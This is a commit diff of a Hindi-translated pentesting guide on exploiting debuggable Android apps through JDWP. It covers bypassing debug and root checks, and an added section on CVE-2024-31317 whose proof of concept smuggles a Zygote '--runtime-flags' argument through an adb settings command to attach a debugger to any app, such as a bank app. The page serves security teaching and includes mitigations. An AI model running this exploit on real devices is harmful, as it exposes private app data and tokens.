Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d

This commit is contained in:
Translator 2025-07-28 16:55:15 +00:00
parent 4fc31dffcc
commit fd254b35a2

View File

@ -15,7 +15,7 @@
1. **APK को डिकंपाइल करें:**
- APK को डिकंपाइल करने के लिए APK-GUI टूल का उपयोग करें।
- _android-manifest_ फ़ाइल में `android:debuggable=true` डालें ताकि डिबगिंग मोड सक्षम हो सके।
- _android-manifest_ फ़ाइल में `android:debuggable="true"` डालें ताकि डिबगिंग मोड सक्षम हो सके।
- संशोधित एप्लिकेशन को फिर से संकलित करें, साइन करें और ज़िपलाइन करें।
2. **संशोधित एप्लिकेशन स्थापित करें:**
@ -24,18 +24,18 @@
3. **पैकेज नाम प्राप्त करें:**
- तीसरे पक्ष के एप्लिकेशनों की सूची बनाने और पैकेज नाम खोजने के लिए `adb shell pm list packages 3` चलाए
- तीसरे पक्ष के एप्लिकेशनों की सूची बनाने के लिए `adb shell pm list packages 3` चलाएं और पैकेज नाम खोजें
4. **ऐप को डिबगर कनेक्शन की प्रतीक्षा करने के लिए सेट करें:**
- कमांड: `adb shell am setup-debug-app w <package_name>`
- **नोट:** इस कमांड को हर बार एप्लिकेशन शुरू करने से पहले चलाना चाहिए ताकि यह डिबगर की प्रतीक्षा करे।
- स्थिरता के लिए, `adb shell am setup-debug-app w -persistent <package_name>` का उपयोग करें।
- सभी फ्लैग हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
- स्थायीता के लिए, `adb shell am setup-debug-app w persistent <package_name>` का उपयोग करें।
- सभी फ्लैग हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
5. **Android Studio में डिबगिंग के लिए तैयार करें:**
- Android Studio में _File -> Open Profile or APK_ पर जाए
- Android Studio में _File -> Open Profile or APK_ पर जाए
- पुनः संकलित APK खोलें।
6. **मुख्य जावा फ़ाइलों में ब्रेकपॉइंट सेट करें:**
@ -43,19 +43,19 @@
### **जांचों को बायपास करना**
ऐप कुछ बिंदुओं पर यह सत्यापित करेगा कि यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप की जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
ऐपlication, कुछ बिंदुओं पर, यह सत्यापित करेगा कि यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
डिबग करने योग्य जांच के लिए:
1. **फ्लैग सेटिंग्स को संशोधित करें:**
- डिबगर कंसोल के वेरिएबल सेक्शन में जाए: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`
- डिबगर कंसोल के वेरिएबल सेक्शन में जाए: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`
- **नोट:** `flags = 814267974` का बाइनरी प्रतिनिधित्व `11000011100111011110` है, जो इंगित करता है कि "Flag_debuggable" सक्रिय है।
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
ये चरण सामूहिक रूप से सुनिश्चित करते हैं कि एप्लिकेशन को डिबग किया जा सके और कि कुछ सुरक्षा जांचों को डिबगर का उपयोग करके बायपास किया जा सके, जिससे एप्लिकेशन के व्यवहार का अधिक गहन विश्लेषण या संशोधन संभव हो सके।
चरण 2 में फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
चरण 2 में एक फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
# **एक भेद्यता का शोषण**
@ -63,29 +63,65 @@
## **भेद्यता की जांच करना**
- एप्लिकेशन को `apktool` का उपयोग करके डिकंपाइल किया गया ताकि `AndroidManifest.xml` फ़ाइल तक पहुच प्राप्त की जा सके।
- एप्लिकेशन को `apktool` का उपयोग करके डिकंपाइल किया गया ताकि `AndroidManifest.xml` फ़ाइल तक पहुच प्राप्त की जा सके।
- AndroidManifest.xml में `android_debuggable="true"` की उपस्थिति यह संकेत करती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है।
- यह ध्यान देने योग्य है कि `apktool` का उपयोग केवल डिबग करने योग्य स्थिति की जांच के लिए किया जाता है बिना किसी कोड को बदले।
## **सेटअप तैयार करना**
- प्रक्रिया में एक एमुलेटर शुरू करना, कमजोर एप्लिकेशन स्थापित करना, और `adb jdwp` का उपयोग करके सुनने वाले डलविक वीएम पोर्ट की पहचान करना शामिल था।
- JDWP (Java Debug Wire Protocol) एक एप्लिकेशन को VM में चलाने के लिए डिबगिंग की अनुमति देता है, एक अद्वितीय पोर्ट को उजागर करके।
- दूरस्थ डिबगिंग के लिए पोर्ट फॉरवर्डिंग आवश्यक थ, इसके बाद JDB को लक्षित एप्लिकेशन से जोड़ा गया।
- प्रक्रिया में एक एमुलेटर शुरू करना, कमजोर एप्लिकेशन स्थापित करना, और `adb jdwp` का उपयोग करके सुनने वाले डलविक वीएम पोर्ट की पहचान करना शामिल था।
- JDWP (Java Debug Wire Protocol) एक VM में चल रहे एप्लिकेशन को डिबग करने की अनुमति देता है, एक अद्वितीय पोर्ट को उजागर करके।
- दूरस्थ डिबगिंग के लिए पोर्ट फॉरवर्डिंग आवश्यक थ, इसके बाद JDB को लक्षित एप्लिकेशन से जोड़ा गया।
## **रनटाइम पर कोड इंजेक्ट करना**
- शोषण ब्रेकपॉइंट सेट करके और एप्लिकेशन के प्रवाह को नियंत्रित करके किया गया।
- शोषण को ब्रेकपॉइंट सेट करके और एप्लिकेशन के प्रवाह को नियंत्रित करके किया गया।
- एप्लिकेशन की संरचना को उजागर करने के लिए `classes` और `methods <class_name>` जैसे कमांड का उपयोग किया गया।
- `onClick` विधि पर एक ब्रेकपॉइंट सेट किया गया, और इसके निष्पादन को नियंत्रित किया गया।
- स्थानीय वेरिएबल्स का निरीक्षण और संशोधन करने के लिए `locals`, `next`, और `set` कमांड का उपयोग किया गया, विशेष रूप से "Try Again" संदेश को "Hacked" में बदलने के लिए।
- संशोधित कोड को `run` कमांड का उपयोग करके निष्पादित किया गया, सफलतापूर्वक एप्लिकेशन के आउटपुट को वास्तविक समय में बदल दिया गया।
इस उदाहरण ने दिखाया कि कैसे एक डिबग करने योग्य एप्लिकेशन के व्यवहार को हेरफेर किया जा सकता है, जिससे अधिक जटिल शोषण की संभावनाएँ उजागर होती हैं जैसे कि एप्लिकेशन के संदर्भ में डिवाइस पर शेल एक्सेस प्राप्त करना।
इस उदाहरण ने दिखाया कि कैसे एक डिबग करने योग्य एप्लिकेशन के व्यवहार को हेरफेर किया जा सकता है, जैसे कि एप्लिकेशन के संदर्भ में डिवाइस पर शेल एक्सेस प्राप्त करना।
---
# 2024 **किसी भी** एप्लिकेशन को डिबग करने योग्य प्रक्रिया में बदलना (CVE-2024-31317)
यहां तक कि यदि लक्षित APK में `android:debuggable` फ्लैग _नहीं_ है, हालिया शोध ने दिखाया है कि यह **मनमाने एप्लिकेशनों** को `DEBUG_ENABLE_JDWP` रनटाइम फ्लैग के साथ शुरू करने के लिए मजबूर करना संभव है, Zygote द्वारा कमांड-लाइन तर्कों को पार्स करने के तरीके का दुरुपयोग करके।
* **भेद्यता:** Zygote के कमांड सॉकेट के माध्यम से प्रदान किए गए `--runtime-flags` की अनुचित मान्यता एक हमलावर को अनुमति देती है जो `system_server` तक पहुंच सकता है (उदाहरण के लिए, विशेषाधिकार प्राप्त `adb` शेल के माध्यम से जो `WRITE_SECURE_SETTINGS` अनुमति रखता है) अतिरिक्त पैरामीटर इंजेक्ट करने के लिए। जब तैयार किया गया कमांड `system_server` द्वारा पुनः चलाया जाता है, तो पीड़ित ऐप _debuggable_ के रूप में और एक JDWP थ्रेड सुनने के साथ फोर्क किया जाता है। इस मुद्दे को **CVE-2024-31317** के रूप में ट्रैक किया गया है और इसे जून 2024 के Android सुरक्षा बुलेटिन में ठीक किया गया था।
* **प्रभाव:** **किसी भी** ऐप (विशेषाधिकार प्राप्त जैसे `com.android.settings`) के निजी डेटा निर्देशिका तक पूर्ण पढ़ने/लिखने की पहुंच, टोकन चोरी, MDM बायपास, और कई मामलों में अब-डिबग करने योग्य प्रक्रिया के निर्यातित IPC एंडपॉइंट्स का दुरुपयोग करके विशेषाधिकार वृद्धि के लिए एक सीधा मार्ग।
* **प्रभावित संस्करण:** जून 2024 पैच स्तर से पहले Android 9 से 14।
## त्वरित PoC
```bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> चरण 1 में तैयार किया गया मान पार्सर को "फास्ट-पाथ" से बाहर निकालता है और एक दूसरा सिंथेटिक कमांड जोड़ता है जहाँ `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) को इस तरह स्वीकार किया जाता है जैसे कि इसे फ्रेमवर्क द्वारा प्रदान किया गया हो। एक बार जब ऐप उत्पन्न हो जाता है, तो एक JDWP सॉकेट खोला जाता है और नियमित डायनामिक-डिबग ट्रिक्स (मेथड रिप्लेसमेंट, वेरिएबल पैचिंग, लाइव फ्रिडा इंजेक्शन, आदि) संभव हैं **बिना APK या डिवाइस बूट इमेज को संशोधित किए**
## पहचान और शमन
* **2024-06-01** (या बाद में) सुरक्षा स्तर के लिए पैच करें - Google ने `ZygoteCommandBuffer` को मजबूत किया है ताकि बाद के कमांड इस तरह से तस्करी नहीं किए जा सकें।
* उत्पादन उपकरणों पर `WRITE_SECURE_SETTINGS` / `shell` पहुंच को सीमित करें। इस एक्सप्लॉइट के लिए इस अनुमति की आवश्यकता होती है, जो सामान्यतः केवल ADB या OEM-विशिष्ट ऐप्स के पास होती है।
* EMM/MDM-प्रबंधित बेड़े पर, `ro.debuggable=0` को लागू करें और `adb disable-verifier` के माध्यम से शेल को अस्वीकार करें।
---
## संदर्भ
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
{{#include ../../banners/hacktricks-training.md}}